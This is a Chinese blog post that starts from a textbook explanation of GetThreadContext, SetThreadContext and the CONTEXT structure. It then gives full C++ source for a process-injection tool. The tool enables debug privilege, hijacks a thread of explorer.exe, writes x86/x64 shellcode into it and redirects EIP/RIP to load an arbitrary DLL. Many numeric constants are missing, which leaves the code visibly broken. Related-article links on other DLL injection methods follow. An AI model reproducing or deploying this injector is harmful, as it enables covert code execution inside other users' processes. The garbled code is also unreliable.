在《Windows核心编程》第七章说到了线程优先级等知识,其中谈到了ThreadContext线程上下背景文。

其中介绍了GetThreadContext函数来查看线程内核对象的内部,并获取当前CPU寄存器状态的集合。

BOOL GetThreadContext (
HANDLE hThread,
PCONTEXT pContext);

若要调用该函数,只需指定一个CONTEXT结构,对某些标志(该结构的ContextFlags成员)进行初始化,指明想要收回哪些寄存器,并将该结构的地址传递给GetThreadContext 。然后该函数将数据填入你要求的成员。
在调用GetThreadContext函数之前,应该调用SuspendThread,否则,线程可能刚好被调度,这样一来,线程的上下文就和所获取的信息不一致了。
示例代码如下:

   CONTEXT Context;                  //定义一个CONTEXT结构
Context.ContextFlags = CONTEXT_CONTROL;   //告诉系统我们想获取线程控制寄存器的内容
GetThreadContext(hThread, &Context);      //调用GetThreadContext获取相关信息

Ps:在调用GetThreadContext函数之前,必须首先初始化CONTEXT结构的ContextFlags成员。
要获得线程的所有重要的寄存器(也就是微软认为最常用的寄存器),应该像下面一样初始化ContextFlags:
Context.ContextFlags = CONTEXT_FULL;

通过vs2015的<winnt.h>中的定义可知CONTEXT的结构:

typedef struct _CONTEXT {

    //
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
// DWORD ContextFlags; //
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
// DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
// FLOATING_SAVE_AREA FloatSave; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
// DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
// DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
// DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs; //
// This section is specified/returned if the ContextFlags word
// contains the flag CONTEXT_EXTENDED_REGISTERS.
// The format and contexts are processor specific
// BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;

在WinNT. h头文件中,定义了CONTEXT_FULL为CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS。
当然,我们还可以通过调用SetThreadContext函数来改变结构中的成员,并把新的寄存器值放回线程的内核对象中

BOOL SetThreadContext (
HANDLE hThread,
CONST CONTEXT *pContext);

由此考虑到可以修改EIP的值,来执行我们的代码,实现注入。首先我们先挂起目标线程,

CONTEXT Context;      //定义一个CONTEXT结构      
         SuspendThread(hThread);  //挂起线程  
         ThreadContext.ContextFlags = CONTEXT_ALL;  //修改对Context操作的权限
         GetThreadContext(hThread, &Context);       //获得Context信息
         BufferData = VirtualAllocEx()  //在目标线程申请内存 来执行我们的shellcode
         编写shellcode 
     WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL) // 写入shellcode
     ThreadContext.Eip = (UINT32)BufferData //修改EIP指向
         Context.ContextFlags = CONTEXT_CONTROL;
         SetThreadContext(hThread, &Context);   //重新设置线程上下文
         ResumeThread(hThread);         //恢复线程,现在线程开始从BufferData这个地方开始执行指令

// SetThreadContext.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <iostream> using namespace std; BOOL GrantPriviledge(WCHAR* PriviledgeName);
BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector);
BOOL Inject(UINT32 ProcessId, UINT32 ThreadId); #ifdef _WIN64 UINT8 ShellCode[0x100] = {
0x48,0x83,0xEC,0x28, 0x48,0x8D,0x0d,
0x00,0x00,0x00,0x00, 0xff,0x15,
0x00,0x00,0x00,0x00, 0x48,0x83,0xc4,0x28, 0xff,0x25,
0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00, };
#else UINT8 ShellCode[0x100] = {
0x60,
0x9c,
0x68,
0x00,0x00,0x00,0x00,
0xff,0x15,
0x00,0x00,0x00,0x00,
0x9d,
0x61,
0xff,0x25,
0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00
}; #endif CHAR DllFullPath[MAX_PATH] = { }; int main()
{
// 提权
if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
{
printf("GrantPriviledge Error\r\n");
} UINT32 ProcessId = ; GetCurrentDirectoryA(MAX_PATH, DllFullPath); #ifdef _WIN64
GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); strcat_s(DllFullPath, "\\x64Dll.dll");
#else
GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
strcat_s(DllFullPath, "\\x86Dll.dll");
#endif //枚举到线程id
vector<UINT32> ThreadIdVector;
GetThreadIdByProcessId(ProcessId, ThreadIdVector); for (UINT32 ThreadId : ThreadIdVector)
{
Inject(ProcessId, ThreadId);
break;
} Sleep(); return ;
} UINT32 Count = ;
BOOL Inject(UINT32 ProcessId, UINT32 ThreadId)
{
HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // 首先挂起线程
SuspendThread(ThreadHandle); CONTEXT ThreadContext = { };
ThreadContext.ContextFlags = CONTEXT_ALL;
if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
{
cout << GetLastError() << endl;
CloseHandle(ThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
} PVOID BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (BufferData != NULL)
{
UINT_PTR LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
if (LoadLibraryAddress != NULL)
{
#ifdef _WIN64 // ShellCode + 43
PUINT8 v1 = ShellCode + ;
memcpy(v1, DllFullPath, strlen(DllFullPath) + );
UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + ) - ((PUINT8)BufferData + ) - );
*(PUINT32)(ShellCode + ) = DllNameOffset; // ShellCode + 35
*(PUINT64)(ShellCode + ) = (UINT64)LoadLibraryAddress;
UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + ) - ((PUINT8)BufferData + ) - );
*(PUINT32)(ShellCode + ) = LoadLibraryAddressOffset; *(PUINT64)(ShellCode + ) = ThreadContext.Rip; if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
{
return FALSE;
}
ThreadContext.Rip = (UINT64)BufferData; #else
PUINT8 v1 = ShellCode + ; memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + );
*(PUINT32)(ShellCode + ) = (UINT32)BufferData + ; *(PUINT32)(ShellCode + ) = LoadLibraryAddress;
*(PUINT32)(ShellCode + ) = (UINT32)BufferData + ; *(PUINT32)(ShellCode + ) = ThreadContext.Eip;
*(PUINT32)(ShellCode + ) = (UINT32)BufferData + ;
if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
{
printf("write Process Error\n");
return FALSE;
}
ThreadContext.Eip = (UINT32)BufferData; #endif
if (!SetThreadContext(ThreadHandle, &ThreadContext))
{
printf("set thread context error\n");
return FALSE;
}
ResumeThread(ThreadHandle); printf("ShellCode 注入完成: %d\r\n", ++Count);
}
} CloseHandle(ThreadHandle);
CloseHandle(ProcessHandle);
return TRUE;
} //获得线程ID
BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector)
{
HANDLE ThreadSnapshotHandle = NULL;
THREADENTRY32 ThreadEntry32 = { }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, );
if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
do
{
if (ThreadEntry32.th32OwnerProcessID == ProcessId)
{
ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板
}
} while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL;
return TRUE;
} BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
{
HANDLE ProcessSnapshotHandle = NULL;
PROCESSENTRY32 ProcessEntry32 = { }; ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ); if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} Process32First(ProcessSnapshotHandle, &ProcessEntry32);
do
{
if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == )
{
*TargetProcessId = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = NULL;
return TRUE;
} // 提限
BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
DWORD dwReturnLength = sizeof(OldPrivileges);
HANDLE TokenHandle = NULL;
LUID uID; // 打开权限令牌
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
{
if (GetLastError() != ERROR_NO_TOKEN)
{
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return FALSE;
}
} //查看权限令牌
if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))
{
CloseHandle(TokenHandle);
return FALSE;
} TokenPrivileges.PrivilegeCount = ;
TokenPrivileges.Privileges[].Attributes = SE_PRIVILEGE_ENABLED;
TokenPrivileges.Privileges[].Luid = uID; // 调整权限
if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
{
CloseHandle(TokenHandle);
return FALSE;
} CloseHandle(TokenHandle);
return TRUE;
}

该方法注入explorer,只能注入一次,然后需要重启电脑。

Dll注入:x86/X64 SetThreadContext 注入的更多相关文章

  1. 『开源重编译』System.Data.SQLite.dll 自适应 x86 x64 AnyCPU 重编译

    背景: > System.Data.SQLite.dll 程序集 不能良好的支持 AngCPU 格式 System.Data.SQLite.dll 在 适应 x86 和 x64 有三个方案: & ...

  2. Windows x86 x64使用SetThreadContext注入shellcode的方式加载DLL

    一.前言 注入DLL的方式有很多,在R3就有远程线程CreateRemoteThread.SetWindowsHookEx.QueueUserApc.SetThreadContext 在R0可以使用a ...

  3. Dll注入:注册表注入

    在系统中每一个进程加载User32.dll时,会受到DLL_PROCESS_ATTACH通知,当User32.dll对其进行处理时,会取得注册表键值HKEY_LOCAL_MACHINE\Softwar ...

  4. Dll注入技术之ComRes注入

    DLL注入技术之ComRes注入 ComRes注入的原理是利用Windows 系统中C:\WINDOWS\system32目录下的ComRes.dll这个文件,当待注入EXE如果使用CoCreateI ...

  5. Dll注入技术之输入法注入

    DLL注入技术之输入法注入 输入法注入原理是利用Windows系统中在切换输入法需要输入字符时,系统就会把这个输入法需要的ime文件装载到当前进程中,而由于这个Ime文件本质上只是个存放在C:\WIN ...

  6. 关于VS项目平台的x86,x64,Any CPU以及Debug和Release的区别

    相信对于很多刚接触打包程序的同志来说,关于x86,x64,Any CPU这三个项目平台,以及解决方案配置Debug和Release有什么区别?这个问题一定有许多的困惑,甚至不乏一些已经工作了很久的老程 ...

  7. 构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(6)-Unity 2.x依赖注入by运行时注入[附源码]

    原文:构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(6)-Unity 2.x依赖注入by运行时注入[附源码] Unity 2.x依赖注入(控制反转)IOC,对 ...

  8. 关于.NET编译的目标平台(AnyCPU,x86,x64) (转)

    关于.NET编译的目标平台(AnyCPU,x86,x64)(转) 今天有项目的代码收到客户的反馈,要求所有的EXE工程的目标平台全部指定成x86,而所有DLL工程的目标平台全部指定成AnyCPU . ...

  9. Spring.NET依赖注入框架学习--简单对象注入

    Spring.NET依赖注入框架学习--简单对象注入 在前面的俩篇中讲解了依赖注入的概念以及Spring.NET框架的核心模块介绍,今天就要看看怎么来使用Spring.NET实现一个简单的对象注入 常 ...

随机推荐

  1. RFC 2119中几个关键字的翻译

    RFC2119定义了规范文档中,英文要求的关键动词,但中文中还没有明确的词,我的建议如下: requirement类,表示没有例外地遵守或一定出现的情况, MUST.MUST NOT.必须,必须不 S ...

  2. C#的递归函数

    我的理解:函数内部把自己当另一个函数来调用 其实还是调用的他自己 递归函数必须有结束条件,否则就是死循环

  3. 定时处理组件---Quartz.net

    1.认识任务调度 所谓任务调度,就是以将业务区块任务化(即抽象成每一个独立的任务,执行每个任务便完成某种业务的需求).比如,我们有一个订单系统,现在有这样的一个需求,就是需要在某一时间点去扫描数据库, ...

  4. Mysql缓存的配置和使用

    在mysql服务器高负载的情况下,必须采取一种措施给服务器减轻压力,减少服务器的I/O操作.一般采用的方法是优化sql操作语句,优化服务器的配置参数,从而提高服务器的性能.Mysql使用了几种内存缓存 ...

  5. java 定位问题方法 (jdb 和 jstack)

    使用java 做开发,大部分的朋友都是利用DIE 来做debug 工作,因为这样可视化效果好. 但是在真实的工作中,很多使用遇到问题,手头或者环境是不允许你利用DIE 来对源码做debug 工作,开发 ...

  6. Unity---DOTween插件学习(3)---获取数据、协程、路径动画

    目录 10.获取数据 11.携程 12.路径动画 本文及系列参考于Andy老师的DOTween系列 欢迎大家关注Andy老师 10.获取数据 类方法 返回所有暂停的动画,没有则返回null var l ...

  7. keil编译器

    1 数组比指针效率高. 2 v4.73不能查看局部变量的值:可先将C/C++选项下的优化级别设置成O0,查看完之后修改回去.因默认级别是2级.

  8. (转)CentOS 7系统详细开机启动流程和关机流程

    CentOS 7系统详细开机启动流程和关机流程 原文:http://blog.csdn.net/yuesichiu/article/details/51350654 名称 bootup - 系统启动流 ...

  9. 二,JVM 自带命令行工具之JStat

    jstat:虚拟机统计信息见识工具 jstat是用于见识虚拟机各种运行状态信息的命令行工具.他可以显示本地或远程虚拟机进程中的类装载.内存.垃圾收集.JIT编译等运行数据. jstat option ...

  10. 机器学习框架ML.NET学习笔记【3】文本特征分析

    一.要解决的问题 问题:常常一些单位或组织召开会议时需要录入会议记录,我们需要通过机器学习对用户输入的文本内容进行自动评判,合格或不合格.(同样的问题还类似垃圾短信检测.工作日志质量分析等.) 处理思 ...